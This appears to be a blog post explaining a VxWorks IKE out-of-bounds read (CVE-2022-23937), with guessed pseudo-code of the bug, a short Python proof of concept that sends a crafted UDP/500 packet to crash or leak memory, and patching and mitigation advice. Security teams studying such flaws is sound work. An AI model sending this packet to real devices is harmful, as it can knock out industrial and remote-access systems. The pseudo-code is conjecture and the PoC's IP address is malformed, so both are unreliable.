CVE-2022-23937 is a security vulnerability discovered in the popular real-time operating system VxWorks, versions 6.9 and 7, built by Wind River. The issue revolves around the IKE (Internet Key Exchange) protocol, used for establishing secure connections (VPN/IPSec). By sending a specially crafted network packet during the initial exchange, an attacker can trigger an out-of-bounds read in VxWorks, potentially leading to leaks of sensitive memory information, system instability, or even a crash.

This post breaks down the vulnerability, walks through how it works, and presents code and exploit snippets, all written simply for anyone interested in IT security.

What Is the Problem?

VxWorks uses IKE as part of its IPsec stack for setting up secure VPN tunnels. During the initial IKE handshake, the VxWorks system accepts and parses network packets from clients. If the packet is formed in a specific (malicious) way, VxWorks' IKE parsing code can be tricked into reading data beyond the actual bounds of a buffer.

Out-of-bounds reads don't always mean the attacker gets control of the system, but they do open up risks such as:

Leaking memory contents (including credentials or encryption keys)

- Triggering processor exceptions, causing a crash/reboot (Denial-of-Service)

How Does It Work?

VxWorks expects IKE packets to follow a certain structure. During the initial handshake ("SA Init" phase), the remote peer sends a packet starting with an IKE header, followed by payloads.

If the packet contains a malformed *payload length* (larger than the actual data, for example), the VxWorks parser will trust this length and try to read beyond the buffer.

Here's a general idea of what the buggy code might look like in C-style pseudo-code

void parse_ike_payload(uint8_t *payload, size_t size) {
    uint16_t payload_len = read_uint16(payload + 2); // reads from offset 2 (payload length field)

    // The bug: No proper check if payload_len <= size!
    uint8_t *data = malloc(payload_len);
    memcpy(data, payload, payload_len);  // Can read out of bounds if payload_len > size

    // ... process data
    free(data);
}

What goes wrong?
If an attacker sends a packet where payload_len (declared length) is bigger than the actual bytes present, memcpy reads past the end of payload, causing an out-of-bounds read.

Proof-of-Concept (PoC) Exploit

The vulnerability can be triggered remotely by constructing a simple UDP packet to VxWorks' IKE port (UDP/500) with a crafted IKE header/payload.

Here's a basic proof-of-concept in Python

import socket
import struct

target_ip = '192..2.10'  # Replace with your test target IP
target_port = 500

# Build a minimal IKEv1 packet with a bogus payload length
# IKE header: 28 bytes
ike_header = b'\x00' * 28

# Add a payload with a declared length longer than actual payload
# Payload header: Next payload (1 byte), reserved (1 byte), payload length (2 bytes)
payload = b'\x20\x00' + struct.pack('!H', 100)  # Declare payload len = 100 (way longer than actual data)
payload += b'A' * 4  # Only provide 4 bytes (triggers OOB read)

packet = ike_header + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
print(f'Sent crafted packet to {target_ip}:{target_port}')
sock.close()

What to expect:
- On vulnerable VxWorks systems, this may crash the IPsec component, cause a watchdog reboot, or leak parts of memory back in IKE error responses (depending on configuration).

Even though the out-of-bounds read does *not* give immediate code execution, it's dangerous because

- Memory leaks can help attackers defeat address randomization/protections.
- A crashed IKE service means VPNs and remote access may go down (affecting critical OT/IoT/industrial systems).

Who Is Affected?

- Devices running VxWorks 6.9 or VxWorks 7, with IPsec/IKE enabled and exposed to untrusted network input (Internet, shared LAN, etc).

Wind River has provided patches and security advisories for both VxWorks 6.9 and 7

- VxWorks 6.9: Contact support or see Wind River Security Bulletin
- VxWorks 7: Upgrade to the latest Security Patch Update (see Wind River Security)

> Mitigation:
> - Block inbound UDP/500 traffic from untrusted sources on firewalls.
> - Disable IPsec/IKE if not needed.

Technical References

- Original Wind River Advisory (requires login)
- CVE-2022-23937 Entry at NVD
- IKEv1 Packet Structure RFC 2409
- How Out-of-Bounds Read Works

Conclusion

CVE-2022-23937 is a classic "trusting raw input" bug that can have major security impacts on all kinds of devices running VxWorks. If you're responsible for VxWorks-powered equipment, patch immediately and always validate network protocol input lengths in your own code!

If you found this breakdown useful, please share, patch your systems, and keep OT/IoT networks safe.


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Timeline

Published on: 03/29/2022 02:15:00 UTC
Last modified on: 04/05/2022 20:10:00 UTC